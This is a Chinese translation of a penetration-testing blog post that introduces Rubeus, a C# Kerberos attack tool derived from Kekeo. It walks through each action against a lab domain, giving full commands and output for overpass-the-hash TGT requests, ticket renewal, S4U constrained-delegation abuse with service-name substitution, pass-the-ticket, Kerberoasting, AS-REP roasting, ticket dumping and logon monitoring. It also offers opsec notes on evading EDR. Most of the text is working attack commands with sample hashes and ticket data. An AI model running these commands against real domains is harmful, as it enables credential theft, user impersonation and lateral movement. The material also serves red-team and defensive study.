从Kekeo到Rubeus:高级域渗透之Kerberoast的简化利用详解

李白 内网渗透 2019年6月28日发布
Favorite收藏

导语:Kekeo是继 mikatz 之后 Benjamin Delpy 的另一个大项目,是一个拥有一系列优秀特性且令人敬畏的代码库。

译者注:本文由丝绸之路翻译,如有谬误,请在文本本文评论处指出,谢谢!

关于Rubeus 功能介绍可参考:Rubeus酷炫的新功能

Kekeo是继 mikatz 之后 Benjamin Delpy 的另一个大项目,是一个拥有一系列优秀特性且令人敬畏的代码库。 正如本杰明所说,它位于 Mimikatz 代码库之外,因为"我讨厌编写与网络相关的代码; 它在内部使用了一个外部的商业 ASN. 1库。

Kekeo 提供了(功能列表未完成) :

· 能够从用户的哈希 (rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1)请求票证授予票证(TGT) ,并将请求的 TGT 应用于当前登录会话。 这为 Mimikatz ”over-pass-the-hash" 提供了一个替代方案,该方案不操作 LSASS 的内存,也不需要管理特权

· 从现有的 TGT 请求服务票证的能力

· 我所知道的除了 Impacket 之外唯一实现S4U 约束委派滥用(包括 sname 替换)的工具。 

· 滥用智能卡的功能,我还没有完全理解🙂

· 其他更多的功能!

那么,为什么渗透测试行业没有像 Mimikatz 那样在同样的程度上拥抱 Kekeo 呢?

 image.png

https://twitter.com/gentilkiwi/status/1013914776043442177

其中一部分原因是其滥用的性质更为微妙,但我认为还有另外两个主要原因。 首先,Kekeo 不能很好地处理现有的 PE 加载器。 我尝试让代码库使用 Invoke-ReflectivePEInjection 以及@subtee .NET PE loader,但我不是每次都成功。 我怀疑有其他在这方面比我知道得更多,从而可以让它正常工作,但我确实没有遇到每次都成功的情况。

其次,也是相关的,Kekeo 需要一个商业 ASN. 1库。 ASN. 1 Kerberos 通信中使用的编码方案,其他许多地方也是如此。 这意味着,如果没有该库的商业许可,在 Kekeo 修改任何东西都非常困难,因此大多数安全研究人员只能实际地使用 Kekeo 的预编译发布二进制文件。 这些很可能会被 AV 标记,再加上前面提到的修改限制和 PE 加载器不易使用的问题,导致大多数人已经pass 掉了 Kekeo 真不幸。

今天我发布了 Rubeus,我用 C# 重新实现了 Kekeo 的部分(不是全部)功能,这只是一个开始。 为了更好地理解整个系统,我一直想更深入地研究 Kerberos 的结构和交换过程,而这个项目为直接介入提供了完美的借口。 需要明确的是: 这些技术和实现的发起者是本杰明,这只是在另一种语言中的重新实现。 代码库还借鉴了本杰明的好搭档文森特(Vincent LE TOUX),他的鲜为人知的  MakeMeEnterpriseAdmin 项目提供了一些很棒的与 C# LSA 相关的功能,为我节省了大量的时间。 非常感谢本杰明和文森特开创了这一领域,并提供了伟大的代码基础工作没有他们的工作,这个项目绝对不会存在。

尽管他们已有很好的例子,我还是要说,这是我做过的最具技术挑战性的项目之一。 我使用的 ASN. 1库是"原始的"库,这意味着每个 Kerberos 结构或多或少都必须手工实现。 对于那些希望深入研究 Kerberos 结构或 ASN. 1解析的人,我唯一的警告是"Here be dragons”(出自《神探夏洛克》)

现在让我们进入正题吧!

Rubeus

Rubeus (以鲁伯斯 · 海格的名字命名,他不得不为自己长三个头的狗辩护) C# 版本3.0.NET 3.5)兼容的工具,以便在流量和主机级别上操作 Kerberos 的各种组件。 它使用了一个来自 Thomas Pornin  的名为 DDer C# ASN. 1解析/编码库,该库是带有"类似于 MIT-like"的许可证发布的。 正如前面提到的,Kerberos 流量使用 ASN. 1编码来处理流量,并且找到一个可用的(最小的) C# ASN. 1库是一个巨大的挑战。 非常感谢 Thomas 编写的干净又稳定的代码!

Rubeus 有一系列可以运行的"操作"和命令。 如果没有提供参数,则显示以下帮助菜单:

______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


  Rubeus usage:

    Retrieve a TGT based on a user hash, optionally applying to a specific LUID or creating a /netonly process to apply the ticket to:
        Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    Renew a TGT, optionally autorenewing the ticket up to its renew-till limit:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]

    Perform S4U constrained delegation abuse:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]

    Submit a TGT, optionally targeting a specific LUID (if elevated):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
        Rubeus.exe purge [/luid:LOGINID]

    Parse and describe a ticket (service ticket or TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>

    Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]

    Perform Kerberoasting:
        Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]

    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]

    Perform AS-REP "roasting" for users without preauth:
        Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]

    Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
        Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]

    Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
        Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]

    Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
        Rubeus.exe harvest [/interval:MINUTES]


  NOTE: Base64 ticket blobs can be decoded with :

      [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

接下来,我将遍历每个功能,解释该功能的操作用例和 opsec 注意事项,以及演示一个或多个例子。

另外,如上所示,除非指定了 /ptt 选项,否则 Rubeus 将以列包裹的 base64 编码的数据块的形式输出票证。 使用这些数据块的最简单的方法是将它们复制到 sublime VS Code 之类的编辑器中,然后对”\n”执行正则搜索或替换,将所有内容放到一行中。 然后,你可以将 base64 编码的票证数据块传递给其他 Rubeus 功能,或者使用以下 PowerShell 命令轻松地将它们写入磁盘:

[IO.File]::WriteAllBytes(“ticket.kirbi”, [Convert]::FromBase64String(“aaBASE64bd…”))

功能介绍之asktgt

asktgt 操作将为指定的用户和加密密钥(/rc4 /aes256)构建原始的 AS-REQ (TGT 请求)流量。如果没有指定 /domain,则提取计算机的当前域,如果没有指定 /dc,则使用 DsGetDcName对系统的当前域控制器执行相同的操作。 如果身份验证成功,则解析生成的 AS-REP KRB-CRED (a.kirbi 文件,其中包括用户的 TGT) 作为 base64 编码后的数据块输出。/ptt 标志将执行传递票证(pass-the-ticket)并将生成的 Kerberos 凭据应用于当前登录会话,而 /luid:X 标志将票证应用于指定的登录会话(需要提升权限) 。如果 /createnetonly:X 被指定,则CreateProcessWithLogonW() 用于创建一个新的隐藏进程(除非指定 /show) ,其 SECURITY_LOGON_TYPE 9 (NewCredentials) ,相当于 runas /netonly 然后将请求的票证应用于这个新的登录会话。

在操作上,这提供了 Mimikatz sekurlsa::pth 命令的替代方案,该命令启动了一个虚拟的登录会话或进程,并将提供的哈希修补到内存中,以启动底层的票证交换进程。 这个进程连接到 LSASS 并操作它的一些内存,这可能是 EDR 的一个检测指标,并且这个操作也需要管理访问权限。

在我们的示例中(或者使用 Kekeo  tgt::ask 模块) ,由于我们只是将原始的 Kerberos 通信发送到当前或指定的域控制器服务器,所以主机上不需要提升的特权。对于请求 TGT 的用户,我们只需要正确的 rc4_hmac (/rc4) aes256_cts_hmac_sha1(/aes256)哈希即可。

另外,另外一个要注意的 opsec : 一次只能将一个 TGT 应用于当前登录会话,因此当使用 /ptt 选项应用新票证时,将清除以前的 TGT 有个解决方案是使用 /createnetonly:X 参数,或者请求票证并将其应用于使用 ptt /luid:X 的另一个登录会话。

c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
    ...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4988
[+] LUID            : 6241024

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFFjCCBRKgAwIB...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!

如果将票证导入当前登录会话时没有指定 /ptt 功能,则可以使用 Rubeus ptt 命令(见本文的文档) Mimikatz kerberos::ptt 功能或 Cobalt Strike kerberos_ticket_use在后续应用票证。

注意:/luid /createnetonly 参数需要提升权限才可使用!

功能介绍之renew

大多数域默认的 Kerberos 策略为 TGT 提供了十个小时的生命周期和为期七天的更新窗口。 那么,这究竟意味着什么呢?

为用户导入到 LSASS 中的票证不仅仅是 TGT,还有 KRB-CRED 结构体(Mimikatz 语言中的 .kirbi 文件) ,其中包括用户的 TGT (使用 Kerberos 服务签名密钥 krbtgt 加密)和一个 EncKrbCredPart ,其中包括一个或多个 KrbCredInfo 结构体的序列。 这些最终结构包括了 TGT 请求返回的会话密钥(AS-REQ/AS-REP) 当请求额外资源时,此会话密钥与不透明的 TGT 数据块一起使用。 会话密钥只适用于(默认情况下)十个小时的生存期,但是 TGT 可以更新最多七天(默认情况下) ,以接收新的会话密钥,因此可以使用 KRB-CRED 结构。

所以如果你有一个 .kirbi 文件(或者相关的 Rubeus base64 编码数据块)在其十小时的有效期内,并且在其七天的续签窗口内,你可以使用 Kekeo Rubeus 更新 TGT 重新启动十小时的窗口并延长凭证的有效期。

续订操作将使用指定的 /ticket:X 提供的原始 TGS-REQTGS-REP TGT 构建或解析续订交换。此值可以是 base64 编码后的 .kirbi 文件内容或指定一个磁盘上存在的 .kirbi 文件。 如果没有指定 /dc,计算机的当前域控制器将被提取并用作更新流量的目标。 /ptt 标志将执行传递票证(pass-the-ticket)并将生成的 Kerberos 凭据应用于当前登录会话。

c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
    ...(snip)...

如果你希望自动续订票证,直到达到票证的续订限制,则只需使用 /autorenewed 参数:

C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 9/24/2018 3:34:05 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 165 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 1370 bytes
[*] Received 1378 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFFjCCBRKg...(snip)...


[*] User       : [email protected]
[*] endtime    : 9/24/2018 8:03:55 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 269 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected][*] Renewing TGT for [email protected]

为了更进一步,请查看 Rubeus 的收割(harvest参数)功能,它将收割系统上的 TGT 并自动更新所有 TGT,直到达到它们的更新窗口。

功能介绍之S4U

约束委派是一个很难深入解释的话题,即使写一个段落也不能很好地解释这个问题。 要了解更多的背景知识,请查看我写的 S4U2Pwnage 文章和相关资源。这个 Rubeus 操作与 Kekeo tgs::s4u 功能几乎完全相同。 约束委派的配置现在也是 BloodHound 2.0 收集的一个优势

但是作为一个 tl;dr(互联网俚语,意为:内容太长,不要阅读哦),如果用户或计算机帐户在其msds-allowedToDelegateto 字段中设置了服务主体名(SPN) ,而攻击者可以破解该用户或计算机帐户的哈希,那么攻击者可以假装是目标主机上的任何服务的任何域用户。

要滥用这个 TTP,首先需要为配置了约束委派的帐户提供一个有效的 TGT/KRB-CRED 文件。 这可以通过 asktgt 操作实现,只需该帐户的 NTLM/RC4 aes256_cts_hmac_sha1 哈希即可。 然后通过 /ticket (同样,可以是 base64 编码后的数据块或磁盘上的票证文件)将票证提供给 s4u 操作,同时提供一个 必需的 impersonateuser:X 假冒为帐户的 msds-allowedToDelegateTo 字段中配置的 msdsspn:SERVICE/SERVERSPN /dc /ptt 参数的功能与前面的操作相同。

/altservice参数利用了  Alberto Solino 的重大发现,即在 KRB-CRED 文件中未保护服务名称(sname) ,只保护服务器名称。 这允许我们在产生的 KRB-CRED (.kirbi) 文件中替换任何我们想要的服务名称。

c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):

      doIE+jCCBPagAwIBBaE...(snip)...

c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*]   Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):

      doIGujCCBragAwIBBaEDAgE...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

或者,与提供 /ticket相反,可以使用 /user:X /rc4:X   /aes256:X哈希规范(/domain:X 可选)类似于 asktgt 操作,首先为 /user请求配置了约束委派的 TGT,然后用于 s4u 交换。

C:\Temp\tickets>dir \\primary.testlab.local\C$
The user name or password is incorrect.

C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE+jCCBPagAwIBBaEDAg...(snip)...

[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*]   Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):

      doIGujCCBragAwIBBaE...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Temp\tickets>dir \\primary.testlab.local\C$
 Volume in drive \\primary.testlab.local\C$ has no label.
 Volume Serial Number is A48B-4D68

 Directory of \\primary.testlab.local\C$

03/05/2017  05:36 PM    <DIR>          inetpub
08/22/2013  08:52 AM    <DIR>          PerfLogs
04/15/2017  06:25 PM    <DIR>          profiles
08/28/2018  12:51 PM    <DIR>          Program Files
08/28/2018  12:51 PM    <DIR>          Program Files (x86)
08/23/2018  06:47 PM    <DIR>          Temp
08/23/2018  04:52 PM    <DIR>          Users
08/23/2018  06:48 PM    <DIR>          Windows
               8 Dir(s)  40,679,706,624 bytes free

功能介绍之ptt

Rubeus ptt 命令相当简单: 它将为当前登录会话提交票证(TGT 或服务票证 .kirbi),使用带有 KERB_SUBMIT_TKT_REQUEST消息的 LsaCallAuthenticationPackage() API(假如已经特权提升了) /luid:X指定的登录会话。 这和 Mimikatz kerberos::ptt  的功能相同。 与其他 Rubeus /ticket:X参数一样,该值可以是 .kirbi 文件或一个在磁盘上存在的 .kirbi 文件的路径。

c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0


[*] Action: Import Ticket
[+] Ticket successfully imported!

提醒一下,登录会话一次只能应用一个 TGT 解决方案是使用 createnetonly 操作启动登录类型是9的进程,并使用  /luid:X 参数将票证应用于特定的登录 ID

注意:/luid 参数需要特权提升!

功能介绍之purge

purge操作将从当前登录会话中清除所有的 Kerberos 票证,或者(如果已经特权提升了)清除 /luid:X 指定的登录会话中的所有 Kerberos 票证。这与 Mimikatz Kekeo kerberos::purge 功能或 Cobalt Strike kerberos_ticket_purge功能相同。

C:\Temp\tickets>Rubeus.exe purge

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Purge Tickets
[+] Tickets successfully purged!

C:\Temp\tickets>Rubeus.exe purge /luid:34008685

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!

注意:/luid 参数需要特权提升!

功能介绍之describe

有时候你想知道一个特定的 .kirbi 文件中的 Kerberos 信任细节。 describe 动作获取 /ticket:X的值 (TGT 或服务票证) 并解析该值后描述票证的值。与其他的 /ticket:X参数一样,该值可以是 base64 编码后的 .kirbi 文件内容或是一个在磁盘上存在的  .kirbi 文件的路径。

c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Display Ticket

  UserName              :  dfm.a
  UserRealm             :  TESTLAB.LOCAL
  ServiceName           :  krbtgt
  ServiceRealm          :  TESTLAB.LOCAL
  StartTime             :  9/17/2018 6:51:00 PM
  EndTime               :  9/17/2018 11:51:00 PM
  RenewTill             :  9/24/2018 4:22:59 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  2Bpbt6YnV5PFdY7YTo2hyQ==

功能介绍之createnetonly

createnetonly 操作将使用 CreateProcessWithLogonW()  API 创建一个新的隐藏进程(除非指定了 /show) ,其 SECURITY_LOGON_TYPE9(NewCredentials) ,相当于 runas /netonly,并返回进程 ID LUID (登录会话 ID) 然后,可以使用这个进程和 ptt /luid:X  参数应用特定的 Kerberos 票证,假设已经特权提升了的话。 这可以防止在当前登录会话中删除现有的 TGT

C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 9060
[+] LUID            : 6290874

功能介绍之kerberoast

kerberoast 操作取代了 SharpRoast  项目的功能。 SharpRoast 类似,此操作使用 KerberosRequestorSecurityToken.GetRequest Method()方法,该方法由@machosec  提供给 PowerView,以请求适当的服务票证。 SharpRoast 不同,此操作现在对结果结构执行适当的 ASN. 1解析,而不是使用 janky regex.

在没有其他参数的情况下,当前域中设置有 SPN 的所有用户帐户都将执行 kerberoast 攻击。/spn:X 参数只会对指定的 SPN 执行 kerberoast 攻击,/user:X 参数会对指定的用户执行  kerberoast 攻击,而 /ou:X  参数会对指定的 OU 中的用户执行  kerberoast 攻击。 另外,如果你希望为 kerberoast 攻击使用备用域凭据,可以使用 /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD 指定凭据。

c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Kerberoasting

[*] SamAccountName         : testuser2
[*] DistinguishedName      : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName   : service/host
[*] Hash                   : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...

功能介绍之asreproast

asreproast操作取代了 ASREPRoast  项目,其中执行的操作与(大型) BouncyCastle  库类似。 如果域用户没有启用 Kerberos 预身份验证,则可以成功地为用户请求 AS-REP,并且可以离线破解结构的一个组件。

/user:X 参数是必需的,而 /domain /dc 参数是可选的。 如果没有指定 /domain /dcRubeus 将像其他操作一样使用系统的默认值。 ASREPRoast  项目有一个与 JohnTheRipper 兼容的 哈希类型破解模块。

c:\Rubeus>Rubeus.exe asreproast /user:dfm.a

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: AS-REP Roasting

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      [email protected]:F7310EA341128...(snip)...

功能介绍之dump

如果在提升了特权的上下文中,dump 操作将从内存中提取当前的 TGT 和服务票证。提取出的票证可以通过 /service (对于 TGT 可以使用 /service:krbtgt)或登录ID (/luid:X 参数)过滤。 KRB-CRED 文件(.kirbis)是以 base64 数据块的形式输出的,可以使用 ptt 功能、 Mimikatz kerberos::ptt 功能或 Cobalt Strike kerberos_ticket_use来代替使用。

c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Dump Kerberos Ticket Data (All Users)

[*] Target LUID     : 0x596f6
[*] Target service  : krbtgt


  UserName                 : harmj0y
  Domain                   : TESTLAB
  LogonId                  : 366326
  UserSID                  : S-1-5-21-883232822-274137685-4173207997-1111
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 9/17/2018 9:05:26 AM
  LogonServer              : PRIMARY
  LogonServerDNSDomain     : TESTLAB.LOCAL
  UserPrincipalName        : [email protected]

    [*] Enumerated 1 ticket(s):

    ServiceName              : krbtgt
    TargetName               : krbtgt
    ClientName               : harmj0y
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, initial, renewable, forwardable
    StartTime                : 9/17/2018 4:20:25 PM
    EndTime                  : 9/17/2018 9:20:25 PM
    RenewUntil               : 9/24/2018 2:05:26 AM
    TimeSkew                 : 0
    EncodedTicketSize        : 1338
    Base64EncodedTicket      :

      doIFNjCCBTKgAwIBBaEDAg...(snip)...


[*] Enumerated 4 total tickets
[*] Extracted  1 total tickets

请注意,此操作必须从提升了特权的上下文中运行,以便 dump 其他用户的 Kerberos 票证!

功能介绍之monitor

Monitor操作将监视 4624 这个登录事件的事件日志,并为新的登录 id (LUID)提取任何新的 TGT 票证。 /interval 参数(以秒为单位,默认值为60)指定检查事件日志的频率。 /filteruser:X参数可以指定只返回特定用户的票证数据。 在启用了无约束委派的服务器上,此功能特别有用。 😉

/filteruser(或者未指定任何用户) 创建了一个新的 4624 登录事件时,将输出任何提取的 TGT KRB-CRED 数据。

c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: TGT Monitoring
